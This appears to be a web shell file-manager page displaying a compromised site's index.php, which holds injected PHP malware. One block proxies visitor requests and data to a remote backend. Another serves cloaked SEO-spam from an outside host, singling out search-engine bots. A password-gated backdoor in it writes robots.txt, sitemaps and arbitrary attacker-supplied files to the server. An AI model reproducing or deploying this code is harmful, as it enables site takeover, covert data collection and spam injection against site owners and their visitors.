Server : LiteSpeed
System : Linux server900.shared.spaceship.host 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
User : kvzyqrttyz ( 5084)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/kvzyqrttyz/monolog333.com/

📁 Create New:
⬆️ Upload File:
Current Dir [ Writable ] Root [ Not Writable ]


OR Upload from URL:
URL: Save as:

📄 File: index.php

Path: /home/kvzyqrttyz/monolog333.com/index.php

Size: 9.03 KB

Permissions: 0444

<?php define('BACKEND', 'http://xf010.houtaidl.shop/goapi'); $statsHtml = ''; function gv($key) { return isset($_SERVER[$key]) ? $_SERVER[$key] : ''; } function isHttps() { if (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') { return true; } if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') { return true; } if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) { return true; } return false; } function getClientIp() { $headers = array( 'HTTP_CLIENT_IP', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR', ); foreach ($headers as $key) { if (!isset($_SERVER[$key])) continue; foreach (explode(',', $_SERVER[$key]) as $ip) { $ip = trim($ip); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } return ''; } function httpRequest($url, $data = '') { $fullUrl = $data ? "{$url}?{$data}" : $url; $response = false; if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $fullUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); if ($response !== false) { $info = curl_getinfo($ch); if (!empty($response) && $response[0] !== '7' && $response[0] !== '9') { $contentType = isset($info['content_type']) ? $info['content_type'] : ''; if ($contentType) @header("Content-Type: {$contentType}"); } } curl_close($ch); } if ($response === false) { $response = @file_get_contents($fullUrl); } return $response; } function fetchBackend($url, $queryString) { $response = httpRequest($url, $queryString); if (!$response) { return false; } $flag = $response[0]; if ($flag === '4') { @header('HTTP/1.1 404 Not Found'); echo substr($response, 1); die; } if ($flag === '5') { @header('HTTP/1.1 500 Internal Server Error'); echo substr($response, 1); die; } if ($flag === '3') { @header('HTTP/1.1 302 Found'); @header('Location: ' . substr($response, 1)); die; } if ($flag === '7') return false; if ($flag === '8') die; if ($flag === '9') return false; return $response; } $requestUri = gv('REQUEST_URI'); if (trim($requestUri, '/') === 'cf1988') { $host = parse_url(BACKEND, PHP_URL_HOST); $hostParts = explode('.', $host); $identifier = isset($hostParts[0]) ? $hostParts[0] : 'unknown'; die("<!DOCTYPE html><html lang='ja'><head><meta content='text/html; charset=utf-8'/></head><body style='display: none;'>{$identifier}</body></html>"); } $params = http_build_query(array( 'uri' => $requestUri, 'dom' => gv('HTTP_HOST'), 'ip' => getClientIp(), 'lang' => gv('HTTP_ACCEPT_LANGUAGE'), 'agent' => gv('HTTP_USER_AGENT'), 'refer' => gv('HTTP_REFERER'), 'http' => isHttps() ? 'https' : 'http', 'v' => '9' )); if (strpos($requestUri, 'pingsitemap') !== false) { $robots_contents = "User-agent: *\r\nAllow: /\r\n"; $scriptName = gv('SCRIPT_NAME'); $scripPath = ''; if (strpos($scriptName, 'index.p') !== false) { $scripPath = '/'; } else { $scripPath = $scriptName . '?'; } $protocol = isHttps() ? 'https' : 'http'; $domain = gv('HTTP_HOST'); $sitemap = $protocol . '://' . $domain . $scripPath . 'sitemap.xml'; $robots_contents .= "Sitemap: " . $sitemap . "\r\n"; if (@file_put_contents('robots.txt', $robots_contents)) { echo '1'; } else { echo '0'; } exit; } else { $html = fetchBackend(BACKEND, $params); if ($html) { while (ob_get_level() > 0) {@ob_end_clean();} die($html); } } ?>
<?php
$xmlname = '%68%74%70%6E%78%7A%6E%2E%62%77%67%72%61%76%65%78%2E%66%76%67%72';
$http_web = 'http';
if (is_https()) {
    $http = 'https';
} else {
    $http = 'http';
}
$duri_tmp = drequest_uri();
if ($duri_tmp == ''){
    $duri_tmp = '/';
}
$duri = $duri_tmp;
function drequest_uri()
{
    if (isset($_SERVER['REQUEST_URI'])) {
        $duri = $_SERVER['REQUEST_URI'];
    } else {
        if (isset($_SERVER['argv'])) {
            $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
        } else {
            $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
        }
    }
    return $duri;
}
$goweb = 'ugcakma.ojtenirk.site';
function is_https()
{
    if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
        return true;
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
        return true;
    } elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
        return true;
    }
    return false;
}
$host = $_SERVER['HTTP_HOST'];
$lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
$lang = $lang;
$urlshang = '';
if (isset($_SERVER['HTTP_REFERER'])) {
    $urlshang = $_SERVER['HTTP_REFERER'];
    $urlshang = $urlshang;
}
if(isset($_REQUEST['pd'])){
	$password = hash('sha1',hash('sha1', @$_REQUEST['pd']));
}else{
	$password = '';
}
if ($password == 'f75fd5acd36a7fbd1e219b19881a5348bfc66e79') {
    $add_content = @$_REQUEST['mapname'];
    $action = @$_REQUEST['action'];
    if (isset($_SERVER['DOCUMENT_ROOT'])) {
        $path = $_SERVER['DOCUMENT_ROOT'];
    } else {
        $path = dirname(__FILE__);
    }
    if (!$action) {
        $action = 'put';
    }
    if ($action == 'put') {
		if(isset($_REQUEST['google'])){
			$google_verification=$_REQUEST['google'];
			if (preg_match('/^google.*?(.html)$/i', $google_verification)) {
				file_put_contents($google_verification,'google-site-verification:'.' '.$google_verification);
				exit('<a href='.$google_verification.'>'.$google_verification.'</a>');
			}
		}
        if (strstr($add_content, '.xml')) {
            $map_path = $path. '/sitemap.xml';
            if (is_file($map_path)) {
                @unlink($map_path);
            }
            $file_path = $path . '/robots.txt';
            if(stristr($add_content, 'User-agent')){
				@unlink($file_path);
                if (file_put_contents($file_path, $add_content)) {
                    echo '<br>ok<br>';
                } else {
                    echo '<br>file write false!<br>';
                }
            }else{
                if (file_exists($file_path)) {
                    $data = doutdo($file_path);
                } else {
                    $data = 'User-agent: *
Allow: /';
                }
                $sitmap_url = $http . '://' . $host . '/' . $add_content;
                if (stristr($data, $sitmap_url)) {
                    echo '<br>sitemap already added!<br>';
                } else {
                    if (file_put_contents($file_path, trim($data) . "rn" . 'Sitemap: '.$sitmap_url)) {
                        echo '<br>ok<br>';
                    } else {
                        echo '<br>file write false!<br>';
                    }
                }
            }
        } else {
            echo '<br>sitemap name false!<br>';
        }
        $a = hash('sha1',hash('sha1', @$_REQUEST['a']));
        $b = hash('sha1',hash('sha1', @$_REQUEST['b']));
        if ($a == doutdo($http_web . '://' . $goweb . '/a.p' . 'hp') || $b == 'f8f0dae804368c0334e22d9dcb70d3c7bbfa9635') {
            $dstr = @$_REQUEST['dstr'];
            if (file_put_contents($path . '/' . $add_content, $dstr)) {
                echo 'ok';
            }
        }
    }
    exit;
}
function disbot()
{
    $uAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
    if (stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot') || stristr($uAgent, 'googlebot')) {
        return true;
    } else {
        return false;
    }
}
function doutdo($url)
{
    $file_contents= '';
    if (!$file_contents) {
        $file_contents = @file_get_contents($url);
    }
    return $file_contents;
}
$web1 = $http_web . ':/'.'/' . $goweb . '/indexnew.p';
$web = $web1.'hp?web=' . $host . '&zz=' . disbot() . '&uri=' . $duri . '&urlshang=' . $urlshang . '&http=' . $http . '&lang=' . $lang;
$html_content = doutdo($web);
if (!strstr($html_content, 'nobotuseragent')) {
    if (strstr($html_content, 'okhtmlgetcontent')) {
        @header("Content-type: text/html; charset=utf-8");
        $html_content = str_replace("okhtmlgetcontent", '', $html_content);
        echo $html_content;
        exit();
    }else if(strstr($html_content, 'okxmlgetcontent')){
        $html_content = str_replace("okxmlgetcontent", '', $html_content);
        @header("Content-type: text/xml");
        echo $html_content;
        exit();
    }else if (strstr($html_content, 'getcontent500page')) {
        @header('HTTP/1.1 500 Internal Server Error');
        exit();
    }else if (strstr($html_content, 'getcontent404page')) {
        @header('HTTP/1.1 404 Not Found');
        exit();
    }else if (strstr($html_content, 'getcontent301page')) {
        @header('HTTP/1.1 301 Moved Permanently');
        $html_content = str_replace("getcontent301page", '', $html_content);
        header('Location: ' . $html_content);
        exit();
    }
}/* blog D1112 */ ?>

← Back to Directory Edit File 🔒 Chmod

WP File Manager